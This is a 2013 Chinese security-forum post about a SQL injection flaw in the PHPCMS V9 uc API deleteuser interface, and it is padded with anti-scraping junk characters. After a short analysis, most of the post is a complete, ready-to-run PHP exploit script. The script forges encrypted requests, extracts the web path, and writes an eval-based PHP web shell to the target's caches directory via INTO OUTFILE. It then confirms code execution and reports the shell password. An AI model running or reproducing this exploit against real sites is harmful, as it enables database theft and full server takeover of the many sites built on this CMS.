找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1802|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。& J6 K" }5 ?  i! O+ ]
, G7 P5 M' m3 \. N
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
: |4 |7 t2 [1 X9 G
6 F0 u+ b# v8 r* O* {漏洞分析:
& F* Y  X+ Q& P2 E/ [1 Q+ l6 A9 Q1.未启用ucenter服务的情况下uc_key为空
% T' E. u/ H  Y# h" M; Adefine('UC_KEY', pc_base::load_config('system', 'uc_key'));% \- `) M* Y: T4 ~
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。" E' [2 c8 r; Q' o/ M! W/ X
    public function deleteuser($get,$post) {
% {5 [; e4 O8 D( U# m* F        pc_base::load_app_func('global', 'admin');
8 Y! a; Q; G) h; E! M        pc_base::load_app_class('messagequeue', 'admin' , 0);
+ r9 x+ S7 E. W3 R+ ?$ h5 I* U0 p; ~        $ids = new_stripslashes($get['ids']);
+ x" I( R+ v  A, r" m8 ~* m        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
6 z& }) Z6 q0 T  v: e3 GSQL语句为; o+ r; A" z! `: A- d6 ~1 L( ]
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
1 @0 E# f$ y3 e4 Y- C& X7 D# r- {9 X3 X& r6 m: m7 V
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
2 N- l( O4 P" Y* O<?php( J# s! I( h% z0 g9 g- f
print_r('
1 Z9 ^7 g* R7 w; x6 t" P---------------------------------------------------------------------------
3 f: f0 c4 F  d2 O4 M  y8 TPHPcms (v9 or Old Version) uc api sql injection 0day& J% k3 U2 F9 _/ Z& C* u/ N
by rayh4c#80sec.com( S5 X+ R" }' J
---------------------------------------------------------------------------6 S' ~0 W1 W9 C1 W$ E
');1 |+ f4 P0 S+ s! a+ s( U

# r5 k6 d0 K9 s, K1 Hif ($argc<3) {; z- x0 J9 |2 K2 m, y
    print_r('& W' b4 _! l3 H! f" l6 b
---------------------------------------------------------------------------
& L5 p- _) T# R  C1 k1 p7 A5 T/ D& f& mUsage: php '.$argv[0].' host path OPTIONS. Q+ P# @% R' `8 G! e. c. n  L) l
host:      target server (ip/hostname)
8 a2 B$ k# s3 ]2 T" t( V! Xpath:      path to phpcms6 T" m% T9 w( V. E
Options:
' g9 q, G; T" m' p -p[port]:    specify a port other than 80
) K. V6 W; c' F& m6 `6 l -P[ip:port]: specify a proxy
# T2 }7 W" G$ d  }5 c" C0 }Example:
' {9 S. g. W3 t% hphp '.$argv[0].' localhost /; h8 {2 l, x4 ]
php '.$argv[0].' localhost /phpcms/ -p81
- [9 B6 f) ^5 _! n4 cphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80* ^- n  F% A1 q8 W4 P
---------------------------------------------------------------------------
- G; d4 M& D- Z4 E');& {! ?2 |( a$ R. E
    die;/ X- l- N- y% ]% b" y
}
5 x9 U* M; F0 J. i) [0 y; N; X4 n  v
error_reporting(7);( C- r9 U, ~( f5 m5 g& T6 x( D, V
ini_set("max_execution_time",0);( D& y" c1 D+ s: g$ Z1 ?8 g! {' N
ini_set("default_socket_timeout",5);
0 j* T. i) r+ S: N( L- F) D' Z; _4 x% ^; i' `; M7 e
function quick_dump($string)
% S( Z3 m, _, s( ]( S{
2 q2 z) H+ `- Z8 _  $result='';$exa='';$cont=0;
8 T6 Z8 D. I4 G( r: {  for ($i=0; $i<=strlen($string)-1; $i++)
  E6 s# W+ R$ Z# `  {3 T) Z+ K5 S# M9 g; M8 R+ r1 y
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
3 D" U. T$ m5 R5 }. E   {$result.="  .";}
, F$ j* ?. l5 R+ s+ n9 U   else
2 i: k8 }4 `) n4 S! a# z$ J   {$result.="  ".$string[$i];}
) A7 q' P# V' \   if (strlen(dechex(ord($string[$i])))==2)
* y) m0 ]+ `% N' d   {$exa.=" ".dechex(ord($string[$i]));}" A. A3 `5 n; {2 ]; Q, A" @, C
   else
: Q  ?7 W7 J8 r3 p+ V) c! i/ {   {$exa.=" 0".dechex(ord($string[$i]));}# R. W6 k1 t8 ^: u7 _# E' C# {# d
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
$ l0 ?9 n3 _, r4 l( G! v. r0 Y  }2 t8 q* G6 F2 w
return $exa."\r\n".$result;) e9 S) i+ {. O. m' H; @
}
, v5 J, C" z/ A$ i1 {$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';* D, h$ F' E; t

# H, f- a5 ~, t( N8 p5 T' o8 v- ofunction send($packet)
1 N" X$ j% I% P) ~{
2 v" M+ w& r. k) R( f2 r6 l  global $proxy, $host, $port, $html, $proxy_regex;2 }( S& S- X# j; j/ O9 O' @4 K
  if ($proxy=='') {
, C  s8 |7 v" F  Y  j* h# X    $ock=fsockopen(gethostbyname($host),$port);
9 a7 l- X, P" V. K    if (!$ock) {$ @. T* p' E2 P8 v( x% X
      echo 'No response from '.$host.':'.$port; die;
; s8 o% q3 j8 W, r    }4 [& N2 E7 v2 ^2 H( J
  }/ o6 b% \- |9 v6 b( d1 S
  else {% P3 q9 `5 P9 m/ A, m) u2 r
        $c = preg_match($proxy_regex,$proxy);
5 u( I' m8 o6 ]* v. ~    if (!$c) {
) \- u4 n" V" `! i      echo 'Not a valid proxy...';die;, c$ d# T8 s8 N0 i3 D4 u2 R0 T
    }
4 A9 }' w6 c, p0 h- R* ~    $parts=explode(':',$proxy);
0 a1 C& M+ x1 S5 v' B    $parts[1]=(int)$parts[1];) v7 [; a& Y# j. y  x
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";( w/ ]: L8 \( n# [
    $ock=fsockopen($parts[0],$parts[1]);
) a( l: ^* S. X1 L" Z" s. Z4 A    if (!$ock) {
7 [1 R" F% K) E5 g      echo 'No response from proxy...';die;# ^3 ^/ I% ~# r) ?: v2 X- v3 Z( o
        }! O- u. [  m2 S: J5 `3 Z8 Y5 ?
  }
" }& ~0 L6 S' Z: u' P2 {9 n  fputs($ock,$packet);1 Y9 m. T5 O; m; z/ l$ o
  if ($proxy=='') {
' X5 X* f0 {# V$ }% A3 p    $html='';7 Z& m8 y3 h, h2 o2 T. X
    while (!feof($ock)) {. r/ P! Q& ]4 i$ [/ O# {
      $html.=fgets($ock);
3 B2 W" q( e- q4 Y; s4 |    }
* U% v! ?7 w1 P0 k4 {, @, P3 }$ U3 b  }
% V: i' a  M2 _) p9 o  else {
# o2 x: ]/ b6 o  A) |6 k+ A    $html='';2 o% k% @, L$ }- \' g
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {- u% T9 x6 T2 A5 f1 R' e
      $html.=fread($ock,1);
4 u" k( H. n, _    }1 a/ K1 ^  H6 }
  }* N! e- _4 i! q$ |2 [
  fclose($ock);
% J2 V1 j% e) m5 K- Z0 V# H}$ `# k3 H8 @4 E
- j0 Y# m6 r1 s" V9 o' v
$host=$argv[1];% I; U0 Q  G# z6 t" @" x, |4 D% s
$path=$argv[2];
4 F4 W! F2 ^/ h$ f* D$ l$port=80;
. [2 E2 @4 F+ B6 e# v$proxy="";
/ k. l. c# r8 G% H' E! S5 jfor ($i=3; $i<$argc; $i++){
' q$ H& N+ W/ D$temp=$argv[$i][0].$argv[$i][1];
5 R0 C% h5 w. Sif ($temp=="-p")
6 A. c4 A* u% R{
4 w5 ~2 {# y3 E  L! R  T$ ~* m  $port=(int)str_replace("-p","",$argv[$i]);# _) A1 }/ b3 _1 c8 [2 }
}
  k; Q8 c: n% k; wif ($temp=="-P")7 }+ l# m8 Y* c$ X
{
* q8 ^; |& R; |) N4 E0 J  $proxy=str_replace("-P","",$argv[$i]);- |" {) k# C- n0 T4 U4 q. h; P
}0 p' E( T- D+ z4 z1 q9 G( A
}
% ~" O1 @% ?: R: [  m# J: c. v9 V7 T* i, }5 M4 |. I7 `8 D# e+ p
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}* q' r& W4 \5 j- e8 G( H9 }/ B
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}, n& j* t: r- \* g9 y& m2 j. q

0 K7 }- u; @  u) f2 Hfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {# d7 J7 b6 {! s0 x4 t
3 c& Y( Z9 N" q: R$ J/ H
    $ckey_length = 4;! Y. R, Q7 ~( s8 M4 c) g% b
' ]/ h$ B+ d6 y  h1 J3 O; N
    $key = md5($key ? $key : '');! n+ R( l5 M  Q, ?, ?7 z, H
    $keya = md5(substr($key, 0, 16));- _; ?8 q4 o/ \- Z
    $keyb = md5(substr($key, 16, 16));! D( R2 n7 x0 e4 L9 t5 c- L4 J: j, S& T
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$ R9 Y, ]  k( Y
) d8 Q; v, A7 {  N+ d    $cryptkey = $keya.md5($keya.$keyc);/ ~' [/ S+ S( H6 {6 @  ?* o) ^; v, ]
    $key_length = strlen($cryptkey);- v% F& \( Q0 J2 B' z

0 }. M! _' k3 M2 Q: o7 R    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
5 b* p3 \: @. z    $string_length = strlen($string);3 c* I. I  b$ q7 o! a- Z8 E: @. W
* x8 Z3 _+ i- C* x* @/ N
    $result = '';& W: S7 S6 M  l. k
    $box = range(0, 255);
% _  i" j1 G5 F9 H7 u" K9 T  _4 W
0 s$ v1 ~/ W" d2 U: Q  {    $rndkey = array();
/ T0 }# h2 c# S, K3 J    for($i = 0; $i <= 255; $i++) {8 y9 L0 h$ @3 c6 d" a
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);. A" c2 O) O4 S, A' {
    }9 v! h4 P# f( q9 G

  v" ]  L! S1 U' Y( K% Q    for($j = $i = 0; $i < 256; $i++) {* ?4 M: ], G$ ~' @
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
. ]7 N3 t2 C- h* J        $tmp = $box[$i];* g& k  D( k8 C( y; i. l' o/ S
        $box[$i] = $box[$j];
0 X. ?3 ?; d1 e0 r* N: P  x        $box[$j] = $tmp;. s/ o4 p! h' b6 d3 R: Z+ U
    }
! j7 g0 A: E6 o# Y, ]  H$ J4 ^" E& Q$ N) c
    for($a = $j = $i = 0; $i < $string_length; $i++) {+ M4 U# N0 ~5 d  T% K
        $a = ($a + 1) % 256;' f. }2 A! b/ N$ u' _+ s
        $j = ($j + $box[$a]) % 256;6 ]+ X6 B! e$ u9 D
        $tmp = $box[$a];
/ e7 o9 a1 d2 e9 ?! z        $box[$a] = $box[$j];
" T) z% F, F. j7 \$ J( D        $box[$j] = $tmp;
: I- I( l' R# P- R8 {        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));9 x& n( k  }) I7 H& N, D
    }* ?- c  E4 k4 P, [+ r

; K+ @. ~7 h3 ]/ A: g- o0 R0 `    if($operation == 'DECODE') {
" A; K- J2 b8 w4 b0 ?! A8 I1 ?+ a        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
' {2 A; i$ B# e0 ~0 u6 F2 C% d            return substr($result, 26);- S( N$ e$ j3 R/ {5 z
        } else {. {! T/ m! ?3 N. ~
            return '';5 c  [5 A) y; ]8 e
        }
- J! D0 g' M' r7 f" n    } else {
7 Z+ g) i5 s+ K$ M& T  [# Y+ w$ s        return $keyc.str_replace('=', '', base64_encode($result));; b, C, v  N& T; T6 A: N
    }
4 q' K  A, U: _5 n: J' T  B9 d2 R. ^0 i
}
5 n+ T) _' O0 {& [5 ^# u# o1 G! ?
/ u9 J+ O, }% x% C. |, X$ I$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";0 `# k2 [# \  v3 \* Q
$SQL = urlencode(authcode($SQL, "ENCODE", ""));/ w/ F4 ~) Y3 \! H( q- j
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";0 ^+ t4 ^6 e  x6 y* v& I
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";/ \: r: J+ \+ O8 _: M, J
$packet.="User-Agent: Mozilla/5.0\r\n";
/ c- V1 \4 E% j3 D* j; o$packet.="Host: ".$host."\r\n";
; G: F+ v3 {3 j2 X/ P6 L6 F8 ^" J$packet.="Connection: Close\r\n\r\n";$ c$ E( G) c& _# Z( g8 T
send($packet);
+ t1 C- k6 o' I0 x" _if(strpos($html,"MySQL Errno") > 0){
9 Q0 ?/ j7 g% Decho "[2] 发现存在SQL注入漏洞"."\n";9 h6 G( y9 u0 Q
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
( B9 \' L5 E1 Q2 h$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";9 Q/ \/ e: ~: [, K$ v
$packet.="User-Agent: Mozilla/5.0\r\n";1 b( F8 C3 b; t  [5 u
$packet.="Host: ".$host."\r\n";
1 {" W4 X7 O0 m7 Y& c$packet.="Connection: Close\r\n\r\n";
3 y3 j, L- B, O+ [1 @  B; bsend($packet);
  p, l9 F  K  t$ o5 ^3 xpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);3 a6 o# @* V% f# j" K
//print_r($matches);- p6 X3 h7 v8 g; E$ I" l' C
if(!empty($matches)){* F5 s) P, ~9 v9 L
echo "[4] 得到web路径 " . $matches[0]."\n";% y% w6 G" }: S1 G  S
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
1 D0 @" w! `2 a. X: ]$SQL = "time=999999999999999999999999&ids=1)";( T& y; Y/ \% Y. E% K
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";3 l0 @# r: X1 x7 L, O
$SQL.="&action=deleteuser";+ B% Q3 c0 r: X/ _/ K1 N
$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 x5 s$ z2 f: H( b4 @7 E% z
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";, l. K7 C  K9 D" S8 k
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
2 i, v9 g' [9 |0 ]) S* l$packet.="User-Agent: Mozilla/5.0\r\n";
  ?+ H6 V! P6 K) `: F6 J$packet.="Host: ".$host."\r\n";
! I; b/ Y" v" Q+ u. h7 h9 w) W$packet.="Connection: Close\r\n\r\n";& n) L2 w- S, e" G
send($packet);1 v2 n* j" u. A+ m
if(strpos($html,"Access denied") > 0){
) r4 R* F3 E# r1 j- Decho "[-] MYSQL权限过低 禁止写入文件 ";
. D0 R# t2 S# kdie;) B2 K6 X0 o$ \* G) o5 ]
}# N) C- T1 E- C/ y$ w- ^
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";" c# F: x' Y* `. }2 {
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
. P% U) O8 K" a# a% E. Z; a' N# _$packet.="User-Agent: Mozilla/5.0\r\n";
, A! R( e3 i5 Q( \2 u$packet.="Host: ".$host."\r\n";
! O* ?8 r7 V/ A+ w0 m) ?$packet.="Connection: Close\r\n\r\n";
! ]2 f- g, m8 b* T5 W8 R& B: E1 ssend($packet);
! l$ c5 }: K  J: u4 Jif(strpos($html,"<title>phpinfo()</title>") > 0){
( I' ?- e) d1 o9 z, s9 k: s7 Wecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
3 N5 p  `5 x' ?0 S6 N}5 [; c4 J1 x) `! }) D
}else{
; K! P2 z& z6 C2 Decho "[-]未取到web路径 ";
  ^; U2 B; X4 s}
5 n4 }9 M0 e4 i* X# s}else{
3 Q$ ^2 f2 ]! K1 U! Iecho "[*]不存在SQL注入漏洞"."\n";
$ N9 W0 S+ l0 b% |! ^: X  w6 t- d}, n. E* l, O- G, z* i4 x
. u: V+ C8 v9 A# ~# G1 I( X- X5 h; O; `
?>  E. P4 D' C6 w2 }1 u) ~, Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表